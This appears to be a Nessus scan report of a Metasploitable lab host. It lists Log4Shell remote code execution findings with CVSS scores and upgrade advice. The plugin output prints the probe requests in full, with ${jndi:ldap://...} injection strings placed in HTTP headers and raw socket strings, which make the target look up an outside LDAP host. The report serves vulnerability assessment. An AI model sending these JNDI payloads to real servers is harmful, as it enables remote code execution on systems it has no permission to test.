Metasploitable

Report generated by Nessus™ Thu, 28 Mar 2024 13:48:44 EDT

TABLE OF CONTENTS

Vulnerabilities by Host

Vulnerabilities by Host

192.168.50.101

CRITICAL	HIGH	MEDIUM	LOW	INFO
56	4	14	4	107

Scan Information

Start time: Thu Mar 28 13:33:07 2024
End time: Thu Mar 28 13:48:44 2024

Host Information

Netbios Name: METASPLOITABLE
IP: 192.168.50.101
OS: Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)

Vulnerabilities

156164 - Apache Log4Shell CVE-2021-45046 Bypass Remote Code Execution

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.16.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

Note that this bypass requires a non-default configuration. Only Pattern Layouts with a Context Lookup (for example, $${ctx:loginId}) are vulnerable to this.

This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

http://www.nessus.org/u?a0e621e5

Solution

Upgrade to Apache Log4j version 2.16.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

VPR Score

8.1

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

STIG Severity

I

References

CVE	CVE-2021-45046
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2023/05/22

Plugin Information

Published: 2021/12/17, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Nessus was able to detect the vulnerability by sending the following request

GET / HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
```

```
Accept-Language: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
Connection: Keep-Alive
Referer: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
X-Api-Version: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
Cookie: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus};JSESSIONID=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus};SESSIONID=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus};PHPSESSID=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus};token=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus};session=
${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
User-Agent: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
Pragma: no-cache
If-Modified-Since: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/
nessus}
Accept: ${jndi:ldap://127.0.0.1#log4shell-generic-bDBOFpvc0ry9SY16338z.w.nessus.org/nessus}
Nessus detected that the target host performed a DNS lookup on an LDAP host.
```

156016 - Apache Log4Shell RCE detection via Path Enumeration (Direct Check HTTP)

Synopsis

The remote web server is affected by a remote code execution vulnerability.

Description

The remote web server is affected by a remote code execution vulnerability via a flaw in the Apache Log4j library. The vulnerability is due to the processing of unsanitized input sent to a logging function. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/12, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Nessus was able to detect vulnerability by sending the following request

GET / HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/
nessus}
Connection: Keep-Alive
Referer: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}
X-Api-Version: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}
Cookie: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus};JSESSIONID=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus};SESSIONID=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus};PHPSESSID=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus};token=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus};session=
${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}
User-Agent: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}
Pragma: no-cache
If-Modified-Since: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/
nessus}
Accept: ${jndi:ldap://log4shell-generic-gWFnowtQQ4fd72iraSZM${lower:ten}.w.nessus.org/nessus}
Nessus detected that the target host performed a DNS lookup on a LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/21/ftp

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-o5zyIrMaF8nU0ZU1AuVS${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/22/ssh

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-91LMVYTwQ5VekV8nrxB7${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/23

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-ob7CsqGFU1FBnyFNk0yS${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/25/smtp

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-LwhOxp8Ovbu3O2gnMyQk${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/53/dns

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-4eZdpiEiZ7I3yBQH2eIg${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-HnZsPInTpq9lrD7TDuN6${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/111/rpc-portmapper

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-ouXHIM7QuLDmahAslroL${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/139/smb

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-j7TDYLM3z11yF1fCvn2R${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/445/cifs

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-BHZaLxwh1UU9XXboizdC${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/512

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-JcLLj30f832DfoFRe7Sd${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/513

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-NArPJCLLeucgDa7f61vV${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

